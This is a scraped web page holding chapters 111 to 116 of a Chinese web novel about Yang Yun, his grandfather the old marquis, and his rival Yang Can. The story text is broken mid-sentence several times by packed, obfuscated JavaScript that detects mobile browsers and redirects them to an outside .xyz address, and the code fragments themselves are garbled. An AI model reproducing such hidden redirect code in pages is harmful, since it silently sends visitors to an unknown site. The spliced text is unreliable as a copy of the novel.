l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522431|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “既然他没告诉你身份，那我也不好越俎代庖，你只要知道，这是件好事即可。” 看着爷爷看向杨云的眼神，喜爱之色都快溢出来，杨灿心里简直嫉妒得发狂。 从老侯爷回府以后，他想尽办法讨老侯爷欢心，但老侯爷从来没有用这种眼神看过他！ 杨灿的右手紧紧攥成拳头，恨不得一拳头将杨云打死，但他根本不敢这么做，只能酸溜溜地问： “三个北夷刺客？哪怕爷爷身边的亲兵，一个人也应付不了三个北夷刺客吧？” 老侯爷身边的亲兵，是精挑细选的精锐之士，就算是他们也不敢说对上北夷刺客，能以一敌四，何况杨云这个养尊处优的少爷胚子。 杨云十分坦然地点头，冲着老侯爷说：“那天晚上我找村子的人帮忙，正是有他在，才能杀掉那三个刺客。” 老侯爷听到小小的青山村，竟还有这种人才，忍不住问道： “不知道此人是谁？现下何处？能不能把他找来让我见见？” 若是年龄合适，只要把此人放到军中磨炼一段时间，必然是员勇将！ 看着老侯爷好奇的样子，杨云淡淡一笑， “此人名叫程守信，本地人氏。说起来他和侯爷还有一段渊源，我马上去请他过来。” 跟他有渊源？ 老侯爷听到杨云的话愣一下，他实在是想不到，青山村里的人能跟他有什么渊源。 杨灿看着杨云转身离开的背影，恨得牙根痒痒，这小子太会吊人胃口！ 要是这样下去，爷爷非得把他带回侯府不可！ 不行，他无论如何，都不能让这个混蛋威胁到他的位置！ 杨云出院门，见到一大群村民远远地围观着侯爷的车队，他一眼看到人群中的胖婶，立刻走过去， “婶子，程叔呢？” 胖婶笼一下袖筒，冲着自家看一眼， “老程在家晒太阳呢！小云，你先别走，婶子问你，这是谁又来你们家啊？” 第111章 属下拜见侯爷 第一百一十一章属下拜见侯爷 从县衙李捕头，再到知县大老爷，还有现下一看非同凡响的车队，村民早已经习惯这种情况，只是他们还是很想知道，来人到底是谁，以后也好吹牛。 杨云回头看一眼军容严整的侯爷亲兵，笑着胖婶摇摇头说：“回头让程叔告诉你吧。” 老侯爷带着多人来，明显没有隐藏身份的意思，但他的身份太高，现下说出去，说不定会引起一些不该有的麻烦，不如等到他离开后再告诉邻居们。 见到杨云不想说，村民们明显有些失望，但他们的猜测之心不减反增， “连杨云都不敢说，难道这次来的是州府的老爷？” 另一个村民摇摇头，脸上带着几分犹豫说： “州府老爷出门的排场比这个大得多，有开路的，鸣锣的，这个全都没有，应该不是。” 村民们众说纷纭，但没有一个人猜准，也没人在意，反正只是闲着聊天而已。 杨云快步来到胖婶家，一眼看到程守信躺在木椅上晒着太阳，一副懒洋洋的样子。 他快步走到程守信身边，伸手在他肩膀上拍两下，神神秘秘地说： “程叔，快起来，我带你去见个人！” 暖洋洋的阳光都要把程守信晒得睡着，他迷迷糊糊地睁开眼，看着杨云问： “带我去见谁？” 杨云笑着把他拉起来，故弄玄虚地说：“等你见到会知道的，我保证你不虚此行！” 程守信半信半疑地站了起来，慢慢地跟着杨云往外走。 他腿上的伤好得差不多，但走得太快还是会隐隐作痛，只能慢点走。 杨云领着程守信穿过围观的村民，径直向自家里走去。 在看到杨家院子外，那些军容整齐的护卫时，程守信的眼中闪过一丝激动之色。 这站姿，这巡哨，还有他们身上的佩刀，熟悉得让程守信以为，重新回到军营之中！ 两人越过门外的哨位，走进院中，程守信一眼认出老人的身份，不顾腿上伤痛紧走几步，单膝跪倒在老人身后，眼中带着激动的泪光，朗声说： “天鹰卫沉山部尖石营小校程守信，拜见大帅！” 听到程守信的声音，老侯爷缓缓转身，仔细看他一会问： “尖石营……程守信……我记得你参加过十三年前的白弯大战，对吧？” 杨云佩服地看一眼老侯爷，一个十三年前的老兵，他竟到现下还能记得，甚至准确说出参加的战役，怪不得九路边军，每路都敬老侯爷如神。 杨灿眼中闪过一丝不屑，只是个村里种田的老兵而已，这种人根本没见的必要。 程守信听到老侯爷还记得他，心中激动不已，声音颤抖着说：“侯爷明鉴！属下在白弯大战之中，负责阻击北夷第十三部的白狼骑！” 老侯爷脸上露出回忆之色，感慨着说： “白狼骑是北夷最精锐的骑兵之一，你们尖石营守三天三夜，未曾让他们越雷池一步，个个都是好汉！没想到，我竟会在这里，再见到当年的部下，快起来吧。” 程守信立刻长身而起，冲着老侯爷抱拳说：“属下也没想到，有生之年还能再见到大帅！” 这些年杨卓承很少带兵，他身边的人都尊称他为侯爷，但跟着他上过战场的老兵，更愿意称他为大帅。 老侯爷笑着点点头，眼神落在他的腿上，关切地问： “腿上有伤？是不是跟那四个北夷刺客交手的时候受伤的？” 程守信脸上泛起一丝不屑之色，满不在乎地说： “有个狼崽子，趁着我跟另一个刺客交手的时候，放暗器，没躲过去。” 老侯爷夸程守信几句，顺势问起当夜的情况，在得知杨云的陷阱起大用后，老侯爷的脸色更加好看。 众人聊几句后，老侯爷令赵烈拿过五百两银子交给程守信， “你救下我的孙子，这点钱算是些许酬劳，你一定要收下。” 程守信连忙拒绝，摇着头说： “能救大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522432|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帅的孙子，属下不胜荣幸。再说那位赵老板已经给过酬劳，我不能再受您的钱。” 老侯爷把脸一板，严肃地对程守信说： “他是他，我是我。怎么，老夫的话，已经没用？” 程守信脸色发苦，只能无奈地收下银子告退。 正在这时，姜梅把水烧好，小心地招呼众人喝茶，程守信的眼睛转一下，吩咐杨灿说： “灿儿，你和赵烈去给外面的护卫送点水。” 杨灿知道爷爷这是要支开他，但他不敢违抗爷爷的话，狠狠地瞪一眼杨云，起身跟赵烈一起出去。 等两人离开，老侯爷走进堂屋，坐在椅子上看着杨云说： “云儿，你爹把你赶出天应侯府，我是不同意的。我回京之后，已经狠狠地骂他一顿。” “老话说，父子没有隔夜仇。你爹已经知道错，你跟我回京吧。” 老侯爷看着杨云长大，对他的感情非常深厚，自然不忍心让孙子在这个小地方吃苦。 杨云早猜到老侯爷来此的目的，他低头沉默片刻，最终沉声开口， “侯爷，我爹已经**，埋在青山村外不远处。” 这话无疑是拒绝老爷子的提议，杨云不想再回到侯府之中。 老侯爷不觉得意外，轻轻叹一口气，苦口婆心地说： “我知道你心里有怨气，但你放心，等回侯府，你爹要敢对你甩脸子，我给你做主！” 虽然杨成罡在朝堂之上呼风唤雨，但老侯爷想抽他，绝对没人敢说话。 尽管心中早已决定跟天应侯府划清界限，但听到老侯爷这番话，杨云心中仍旧感动不已。 他深吸一口气，将心中的激动压下去，明亮的眼睛直视老侯爷， “侯爷，这不是心里有没有怨气的事，我根本不是您的孙子，自然没有资格回侯府，享受之前享受的一切。” 老侯爷沉着脸，用力地拍拍桌子，“你是我的孙子，谁敢说你不是我的孙子，我把他的脑袋揪下来！” 第112章 日后去看您 第一百一十二章日后去看您 老侯爷打一辈子的仗，向来说一不二，现下他要接孙子回家，没有人能拦得住！ 杨云心中十分感动，老侯爷跑这么远，亲自来接他回京，甚至霸气地要为他撑腰，足见老侯爷对他的感情有多深。 只是，杨云非常清楚，老侯爷是他的爷爷，天应侯府却不是他的家。 想到这里，杨云起身冲着老侯爷躬身行礼，坚定地说： “侯爷美意，草民心领，只是造化弄人，我确实不是侯爷的孙子，不能跟您一起回京。” 杨云很直白地拒绝老侯爷，他知道这样不好，但他怕拖下去，老侯爷会强行带他回去。 老侯爷的眼中浮起浓重的哀伤之色。 从见面开始，杨云一直称呼他为侯爷，往日的祖孙情分仿佛在这些日子中消磨殆尽。 他这个土埋到脖子的人，跑这么远，竟也不能让杨云的心意有丝毫改变。 屋中寂静良久，杨云眉头微皱，老爷子千万不要因为他这些话，气晕过去。 他轻轻抬头看一眼，只见老爷子正定定地看着他，眼神中有伤心，有悲痛，甚至还有一丝微弱到极点的哀求。 老侯爷纵横沙场数十载，即便是被大军围困，也没有想过要屈膝求人，但今天面对这个油盐不进的杨云，他是真想求求孙子，你跟爷爷回去吧！ 杨云的眼神闪烁几下，刚想回避老侯爷的眼睛，忽然想到，要是回避，会显得方才的话有水分，只能不闪不躲地跟老侯爷对视。 两人对视片刻，老侯爷终于明白杨云的决心有多大，他自嘲地笑笑说： “原来，是老夫想多了……” 这话说得很小声，但杨云还是听见，他立刻明白，侯爷这是放弃带他回京，连忙打圆场说： “侯爷能想着我，我心中不胜感激，等日后我去京城，一定会去拜访侯爷。” 老侯爷对杨云很好，杨云也不是不知好歹的人，有机会当然要去见他老人家。 听到杨云说要去京城看他，老侯爷心中总算有几分安慰。 虽然没能把孙子带走，但孙子没跟他划清界限，还想着看他，也算个不错的结果。 老侯爷深深吸一口气，将心中的悲伤压下，和蔼地对杨云说：“那咱们一言为定，我在京城等着你。” 杨云用力地点点头，他方才的话不是糊弄老侯爷，而是真的准备去做。 把最难的问题说清楚后，一老一少两个人感觉心里都轻松不少。 老侯爷环顾屋内十分寒酸的陈设，小心地看着杨云问道： “云儿，你在这里生活得还习惯吗？要不我让人给你送点住的，用得过来吧。” “你不是喜欢骑马吗？正好我前段日子得一匹极品北夷马，我也让人给你送过来。” 以前杨云在天应侯府锦衣玉食，每天是和唐铭铭等一帮死党，飞鹰走狗，骑马射猎，偶尔跟别的纨绔子弟打上一架。 现下却只能在一个偏僻的山村，每日里吃糠咽菜，老侯爷当然舍不得让孙子受这种罪。 就算杨云不愿意跟他回府，他也愿意花大笔银子，让杨云过上以前的日子。 没想到杨云却摇摇头，真诚地看着老侯爷说： “论语说，一箪食一瓢饮，回不改其乐。我虽不是颜回那样的大贤，但现下日子也算不错，侯爷用不着再给我送什么东西。” 有赵文盛送来的五千两，杨云真的不缺钱花，若是想吃喝玩乐，这些银子够他花上一阵。 只是杨云一心想着好好读书考取功名，对于享乐反而不是很在乎。 看着杨云认真的样子，老侯爷心中颇为欣慰，孙子终于长大，知道发奋上进。 他冲着杨云摆摆手，示意他坐下，带着笑意说： “云儿，你给我说说你回到青山村之后的事吧。” 孙子是不可能跟他回京城，临走之前多听他说说话也是好的。 杨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525809|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云也没有拒绝，将他回到青山村之后的事，不分大小地全讲一遍。 其实杨云经历的这些事，在老侯爷看来，根本不算什么，但他依旧听得津津有味。 外面被支走的杨灿，见到爷爷跟杨云在一个屋里待这么久，心中忍不住有些慌张。 要是杨云真的答应回京，以后有爷爷护着他，他在府里岂不是要低他一头？ 不能让他们再这么谈下去！ 但要是这么冒失地上前打断，爷爷必然会心生厌恶，得想个两全其美的办法。 杨灿转头看见不远处盯着他的姜梅，眼中闪过一丝阴狠之色，忽然有主意。 他缓步走到姜梅身边，先是关心姜梅几句，脸上带着笑容轻声说： “姜姨，你看时辰快到中午，我爷爷说不定要在你家吃饭，你去问问他想吃点什么，提前准备一下。” 这话表面听起来没问题，但成年人都知道，问客人想吃什么，其实是变相的逐客令。 这样不仅能打断老侯爷和杨云的谈话，还能让老侯爷觉得姜梅不懂礼数，甚至连带着杨云也一起被嫌弃。 姜梅一直惦记着杨灿，跟杨灿聊几句家常后，早高兴得分不清南北。 她更觉得这孩子为她着想，不知深浅地走到堂屋门口，轻轻敲几下， “侯爷，今天中午在我家吃饭吧，您想吃点什么？我给您做。” 老侯爷在屋里跟杨云聊得正高兴，忍不住眉头微皱，她这是赶他走啊！ 杨云心里也觉得有些奇怪，平常母亲见到知县都不敢大声说话，今天怎么会主动来问侯爷吃什么？ 但这个想法只是在心中过一下，随后便见到老侯爷神色不悦，他连忙补救说： “侯爷，我娘是个粗野村妇，不懂规矩，她只是想留您吃饭，绝没有其他意思。” 见到杨云说情，老侯爷神色略微缓和，脑海中闪过一个念头，笑着说：“云儿，咱们爷俩好久没在一起吃饭吧？” 第113章 威胁 第一百一十三章威胁 以前在侯府的时候，老侯爷忙于政务，只有在逢年过节的时候，爷俩才有机会一起吃饭。 原来两人应该在去年除夕一起吃饭，但谁也没想到，杨云竟被赶出侯府。 看着老侯爷一脸期待的样子，杨云微微点头说： “算起来应该有一年左右，要是您不嫌弃的话，今天中午在我们家一起吃吧。” 既然老侯爷有这个想法，杨云不介意陪他吃顿饭，毕竟他从那么远的京城亲自来找他。 见到杨云答应，老侯爷起身去将房门打开，和气地对姜梅说： “客随主便，你随便准备点就是，我吃什么都行。” 姜梅怯怯地点点头，回房做饭去，站在院中的杨灿听到爷爷要留在这里吃饭，趁着老侯爷还没关门的机会，紧走几步上前， “爷爷，要不咱们还是去县城用饭吧，这乡下地方，做出来的东西恐怕不合您的胃口。” 杨灿在青山村吃十八年的农家饭，早已经吃腻吃厌，这辈子都不想再吃。 若不是怕爷爷这次真把杨云带回去，他才懒得跟出来受罪。 老侯爷勉强挤出一丝笑容，柔声劝道：“灿儿，你不是在这里长大的吗？尝尝家乡的味道多好。” 杨灿心中对老侯爷的话非常不屑，家乡的味道？ 不是些野菜，杂合面窝头，吃起来又硬又涩，哪有侯府的山珍海味好吃？ 只是为保住他在爷爷心中的形象，杨灿只能违心地笑着说：“我是怕您吃不惯，万一吃坏肚子，我回去跟爹娘没法交代。” 没想到老侯爷大手一挥，大大咧咧地说：“我在沙场之上吃过马肉，饮过血水，这点东西不至于吃坏肚子，用不着担心。” 杨灿只能同意，本来想逼着老侯爷走，没想到反而弄巧成拙。 见到老侯爷回到屋中，继续跟杨云闲聊，杨灿厚着脸皮也跟进来，既然走不了，那看着他们两个聊，不给杨云留任何回京的机会！ 只是杨云和老侯爷聊得都是些琐事，回忆，听得杨灿心里酸溜溜的。 一个时辰后，姜梅把午饭做好，她端着三碗白米饭，还有野菜，豆腐，鸡蛋，猪肉四道菜送到堂屋，怯生生地对老侯爷说： “侯爷，乡下地方没什么好吃的，您凑合着吃一口。” 看到卖相一般，但热气腾腾的饭菜，老侯爷不以为意地摆摆手，和颜悦色地对姜梅说： “这很不错了，但还麻烦你把厨房借给我的护卫，让他们也吃点热汤热饭。” 姜梅忙不迭地答应，出去找赵烈说这件事，老侯爷则招呼杨云杨灿，“云儿，灿儿，咱们三个一起吃。” 两人自然不敢拒绝，一起坐下来吃饭。 也许是老侯爷觉得今日一别，以后再见不知道是什么时候，一直给杨云夹菜，还笑着说： “云儿，你多吃点，我看你回来这段时间，瘦不少。” 杨灿本来觉得庄户饭入不了口，看到这一幕更吃不下。 但他很机灵，不停地给老侯爷夹菜，一脸单纯地对老侯爷说：“爷爷，您也多吃点。” 老侯爷虽然对杨灿这个孙子没什么感情，但毕竟是他的血脉，还是笑着夸他两句。 从始至终，杨云一句话都没有说，只是低着头猛吃。 午饭过后，老侯爷觉得有些困，去杨云的房间小眯一会儿。 趁着这个机会，杨灿皮笑肉不笑地走到杨云身前，看着他说：“杨云，我有些话要对你说。” 看着杨灿冷漠，疏离的眼神，杨云轻轻点头，将他领到西屋，“有什么话你直说吧，用不着绕弯子。” 从杨灿出现的那一刻，杨云已看出他在防着他，杨灿要跟他单独谈，杨云也料到。 将房门关上，杨灿脸上的笑容立刻收敛，冷冷地看着杨云，声音中带着一丝寒意， “告诉你，爷爷之所以会亲自来看你，是因为他放不下十八年来耗费在你身上的心血。你不要以为，可以趁此机会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我只是没想到，你进侯府这么长时间，眼皮子竟还是这么浅！” 第114章 离开 第一百一十四章离开 粗略算来，杨灿认祖归宗已有半年时间，但他和从青山村离开时，没有太大差别。 还是那么肤浅，那么鼠目寸光，看不到一点稍微长远的东西。 杨灿没想到杨云竟敢当面讽刺他，气得额头上青筋暴起，冲着他怒目而视， “你竟敢这么说本世子，信不信我让爷爷的亲兵马上杀了你！” 杨云根本没把杨灿的话放在心上，歪着头淡淡地笑着说： “你以为你是谁？竟还想指挥侯爷的亲兵，大将军也指挥不动他们。” 老侯爷治军极严，身边的亲兵更精挑细选，除老侯爷的命令，他们谁的话也不听。 被杨云这么直白的嘲讽，杨灿脸上的愤怒之色更甚，身子都微微颤抖起来，指着他说： “杨云，你有种！等回到京城，我立刻让母亲派人弄死你！” 这下杨云笑得更开心，毫不畏惧地看着杨灿说： “这么大的人，竟还要找母亲告状，我看你在京城，一定混得很窝囊。” 这句话好像说中杨灿的痛处，他眼中有痛苦**的神色闪过，似回想起不好的事。 但他很快镇定下来，抬头看着杨云，颇为得意地说：“窝囊？我看是你失去世子之位，期望我过得窝囊吧？” “对不起，让你失望，我在京城过得好得很，还和刑部尚书的儿子混成好朋友。” “刑部尚书，你这辈子都不可能再见到的大官！” 听到杨灿和刑部尚书的儿子混成好朋友，杨云吃惊地问：“你说的不会是，赵明远吧？” 看着杨云吃惊的样子，杨灿心里终于舒服许多，他倨傲地看着杨云，“没想到吧，你之前高攀不上的人，现下都是我的朋友！” 杨云见到杨灿自鸣得意的样子，心中闪过一丝怜悯，不屑地哼一声说：“高攀不上？赵明远算个什么东西，也配在我面前说高攀？” “杨灿，看在侯爷的份上，我劝你一句，离赵明远那些人远一点，不然你迟早吃大亏！” 在杨云没爆出世子身份有假之前，他根本不把赵明远那些人放在眼里，每次遇到这些纨绔仗势欺人，杨云不是打就是骂，弄得赵明远等人见到他绕道走。 后来杨云的身世被揭穿，赵明远等人第一时间赶来落井下石，想把以前受的气还回去。 幸好被唐铭铭和盛婉兮所阻，杨云才能安全离开京城。 没想到杨灿现下竟跟这些，不学无术的纨绔子弟混在一起。 听到杨云让他离赵明远远一点，杨灿以为他是在嫉妒他，冷笑着嘲讽说： “你以为你是谁，竟敢管我的事？本世子想和谁做朋友，和谁做朋友，你管不着！” 看着执迷不悟的杨灿，杨云轻轻叹一口气说： “我不是在管你，我只是在好心提醒你，京城官场的圈子水那么深，小心有天被淹死。” 以前杨云和赵明远等人作对，不光是因为两边为人处世，脾气秉性不同。 更重要的是，天应侯府的势力都在军中，赵明远等人的父辈都是文官。 现下天应侯府势力强大，压得文官们喘不过气来，两边迟早会有一场争斗。 杨灿是天应侯府的世子，又对京城局势狗屁不懂，肯定会成为文官们手里极为重要的一张牌，到那时候，他恐怕连**的都不知道。 只是杨灿根本不明白杨云的心思，只以为他是在嫉妒他，颇为得意地说： “就算被淹死，那也是我的事，你这个泥腿子只要种你的地即可。” 事已至此，多说无用，杨云无奈地摇摇头，十分直白地对杨灿说： “你放心，我对天应侯府的世子之位没兴趣，也不会跟老侯爷回京城，你安安稳稳做你的世子吧。” 杨灿视若珍宝的东西，杨云早已不在乎，他要的是，只凭他把整个天应侯府踩在脚下！ 听到杨云这么轻易地放弃世子之位，杨灿半信半疑地看着他，生怕他是在骗他。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525811|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 杨云没有多作解释，拉开房门走出去，至于杨灿信不信，他已经不在乎。 过未时，老侯爷一觉睡醒，洗过脸后，又跟杨云坐着聊一会儿。 眼看着日头西斜，老侯爷凑到杨云身前小声地说： “云儿，你确定不跟我回京？我可以帮你们母子二人一起带回去。” 杨灿见到爷爷跟杨云说悄悄话，心里不由自主地又紧张起来。 杨云看一眼不远处的母亲，轻轻摇头，十分坚决地说： “多谢侯爷美意，但我们母子在青山村过得挺好，用不着去京城。” 不管是杨成罡还是余氏，他们两个都把姜梅视作眼中钉肉中刺。 若是姜梅回到京城，恐怕用不了几天，得被这两人各种手段害死。 请北村的日子虽然比不上侯府舒服，但至少安安稳稳，没有性命之忧。 听到杨云再次拒绝，老侯爷眼中的失望之色一闪而过，一拍大腿长身而起， “不想回去不回去，反正你在这里也过得有滋有味。” “赵烈，备车！咱们启程回京！” 赵烈应一声，立刻让人把马车赶到院门口，老侯爷在杨灿的搀扶下，进车厢。 杨云和姜梅站在门口，目送老侯爷的车队缓缓向村外走去，这时候赵烈忽然牵着马走过来，将一个木头盒子交给杨云，“这是老侯爷让我交给你的，你收好。” 见到这个盒子，杨云立刻猜到这里面是老侯爷给他的钱财，下意识要拒绝，“老侯爷的东西，我怎么能要……” 不等杨云把话说完，赵烈已经翻身上马，他轻轻挥一下手里的马鞭，看着杨云说； “这是老侯爷给你的，你爱要就要，不要扔掉。告辞！” 看着赵烈飞驰而去的背影，杨云和姜梅对视一眼，只能把东西收下。 车队之中，老侯爷和杨灿坐在同一辆车中，忽然老爷子开口问道： “今天上午，是你让姜梅去敲门的吧？” 第115章 拜师 第一百一十五章拜师 杨灿身子一振，不知道他哪里露破绽，强作镇定地说：“是姜姨去敲门的，跟我没有关系。” 姜梅搅乱老侯爷和杨云的谈兴，老侯爷心里肯定有气，杨灿当然不能承认是他指使的。 老侯爷瞄一眼杨灿，看着他一脸无辜的样子，没有戳穿他的小花招，只是淡淡地说： “灿儿，你是侯府世子，可知道在你这个位置上，最重要的是什么？” 杨灿心中一喜，爷爷这是在考校他，只要回答得好，必然能得到他的认可！ 他心里仔细琢磨好一会儿后，才抬头看着老侯爷说： “最重要的当然是忠孝，对陛下忠，对父母孝，这样才是一个好世子。” 老侯爷微微一笑，似没有把杨灿的话放在心上，不紧不慢地说： “忠孝是为人之本，不管是世子还是农夫，都要做到这两点。” “做世子与农夫不同的一点，在于容人之量。” “一个农夫，即便没有容人之量，只要把家中的几亩田地侍弄好，照样可以活得好好的。” “但一个世子，若是没有容人之量，身边的谄媚溜须之徒会越来越多，最终害人害己。” “以后你的眼光要放长远一点，心胸要宽广一点，明白吗？” 姜梅到底是不是被杨灿指使着去敲门，老侯爷早已看出来。 只是杨灿毕竟是他的亲孙子，得给他留些脸面，才这样拐弯抹角地提醒杨灿，用不着针对杨云。 他跟杨云的感情再深，也不可能威胁到杨灿的世子之位，毕竟杨灿才是亲生的。 若是杨灿大度一点，主动接纳杨云，那他能得到一个毫无威胁，但对侯府忠心耿耿的得力帮手，两人联手，必然能让天应侯府更加兴盛。 可惜杨灿根本看不到这一步，他满脑子想的都是地位和富贵，生怕被别人夺走。 杨灿心中不屑地冷哼，宽广一点？ 你是不是觉得，我应该把世子之位让给杨云，继续回青山村种地你才满意？ 看来爷爷是真上岁数，连里外亲疏都不分，竟说出这种糊涂话。 杨灿腹诽归腹诽，表面上却摆出一副受教的样子，恭恭敬敬地说： “爷爷的教诲，孙儿一定铭记在心，从今以后宽以待人，不做一时之争。” 老侯爷一生阅人无数，只是瞟一眼已知道，杨灿肯定没把他的话听进去。 他刚准备再劝几句，脑海中忽然冒出个念头，若是杨云在这，必然能领会他话中之意。 想到这里，老侯爷觉得有些意兴阑珊，轻轻地应一声，闭目养神，不再说话。 杨灿见爷爷闭上眼睛，隔着车厢向杨云家的方向看一眼，无论如何，总算没让他回京。 杨云目送老侯爷的车队离开，拿着木盒跟姜梅回到堂屋，打开一看，木盒里面放着几张地契和房契。 房契是东平县城一处三进三出的大宅子，环境清幽，地段优越，邻居不是县中有名的富户，就是诗书传家的书香门第。 地契是东平县郊外的三千亩良田，上下关系已经打点好，杨云只要坐等收租就行。 看着老侯爷留下的两样东西，杨云心中满是暖意，轻轻叹一声，低声说： “爷爷，孙儿多谢您的好意，祝您一路顺风。” 房契保证杨云有地方住，地契保证杨云每年有稳定收入。 这样他就算什么都不干，也能衣食无忧地过完后半辈子。 姜梅看不出老侯爷的深意，却知道，木盒里的房契地契至少值两万两银子。 老侯爷出手这么大方，看来他是真疼杨云这个孙子。 杨云把房契地契收好，恍若没有发生过这件事一样，继续开始读书。 老侯爷送这么多的东西，他必须得做出点功绩，不让爷爷失望才行！ 转眼到正月十六，杨云收拾好东西去四方村上课。 周仲查过学生们的功课，才带着杨云来到后堂，满脸轻松地问：“年过完了，你的课业有没有落下？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531927|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杨云只有年前忙几天，年后基本上是在家里读书，他颇为满意地回道： “四书和精义我都温**过一遍，连五经也全部念得滚瓜烂熟。” 听到杨云这么勤奋，连过年都不忘读书，周仲笑着点点头，“那好。我过年的时候去拜访罗师，顺道提过你想拜他为经师的事。” “罗师已经答应，你回去准备一下，我明天带你去县城拜师。” 杨云大喜，有经师，他能在五经上更进一步，也有考功名的实力！ 第二天，杨云带着准备好的束脩，和周忠一起来到县城。 两人先是在文宝坊买一套字画做拜师礼，才来到罗孝荣的家。 罗家下人早知道周仲要来，十分客气地将两人引入客厅之中。 侍女上过茶，罗孝荣才从内堂出来，笑呵呵地跟两人打过招呼，问道： “杨云，我听周仲说，你四书五经念得很熟？” 这是考校杨云的功课，虽然周仲把他夸得天花乱坠，但终究要亲自问问才行。 杨云神色一凛，知道这是拜师前的最后考验，连忙整整衣冠，起身回道：“不敢说熟，但其中内容全都记得。” 读书人崇尚谦逊，杨云就算把四书倒背如流，也必须得这么说。 罗孝荣对杨云的态度、回答都很满意，张口问道： “四书集注之中的八条目，你可知道是哪八条？” 这题是基础中的基础，十分简单，杨云不假思索地说： “格物，致知，诚意，正心，修身，齐家，治国，平天下。” 见到杨云回答如此迅速，罗孝荣满意地点点头，思维敏捷，基础扎实，确实是个好苗子。 他又问几个问题，杨云全都对答如流。 坐在旁边的周仲脸上也带着笑意，杨云是他推荐的，杨云表现这么好，他脸上也有光。 直到最后一题，罗孝荣突然问道： “杨云，你四书读得如此熟稔，可知道《中庸》的中，作何解释？” 第116章 书院 第一百一十六章书院 杨云愣一下，罗孝荣提的这个问题，涉及《中庸》的根本要义，必须谨慎作答。 连一边的周仲都微微皱一下眉头，罗师出的这个题，有点难。 沉思片刻之后，杨云抬头看着罗孝荣，试探着说： “喜怒哀乐之未发，为中也……圣贤是教导我们，做人保持恒常的适度与克制，不可极端。” 周仲的脸色稍缓，这个回答虽然有点浅薄，但也算答到点子上。 罗孝荣微微颔首，看着杨云说： “听周仲说，你才读半年书，能有此等见识也算不错。” “但你的回答失于片面，所谓中，不只是说情绪，更是说我们的为人处世，乃至身边的一切，都要保持在一个中正不偏，无过无不及的状态。” 杨云听完后，若有所思地点点头，罗孝荣不愧是秀才，才学果然不是他能比的。 见到杨云脸上露出钦佩之色，罗孝荣眼中闪过一丝笑意。 他对杨云这个学生很满意，但又担心他仗着聪明不听教诲，故意出一道难题，挫挫他的锐气，方便他以后管教。 眼看罗孝荣没有继续问话的意思，杨云躬身行礼说： “罗师学识渊博，杨云愿意拜在罗师门下聆听教诲，不知罗师可愿收下学生？” 罗孝荣对这个学生也很满意，当场点头答应， “既然你愿意拜我为师，那以后要勤勉读书，发奋上进。” 杨云把罗孝荣的话记在心中，又把束脩和拜师礼交给他，才算是拜师成功。 旁边的周仲见到杨云走完流程，笑呵呵地恭喜他说： “杨云，从今以后你也不用叫我先生，现下咱们是同门，你叫我周兄即可。” 两人开几句玩笑，罗孝荣又让人上些点心，气氛比刚才亲近不少。 罗孝荣坐在主位之上，看着喜笑颜开的杨云，嘴角微微上翘着问： “杨云，我听周仲说，你还没有定下本经，不知道你想专攻哪一经？” 五经乃传世经典，可谓是字字珠玑，微言大义，寻常读书人很难把五经全都搞懂。 朝廷为选才考虑，准许考生在五经之中专攻一经，故此有本经之说。 凡是读书人想要在科举之路上有所作为，定本经绝对是件大事。 杨云已经拜罗孝荣为师，也不用在他面前藏着掖着，说：“老师，我想把《易经》定为本经。” 听到杨云想要专攻《易经》，罗孝荣脸上闪过一丝诧异之色，好奇地问：“杨云，你为什么选《易经》？” 看着周仲和罗孝荣疑惑的神色，杨云理直气壮地说一个不算理由的理由， “因为《易经》字数最少！” 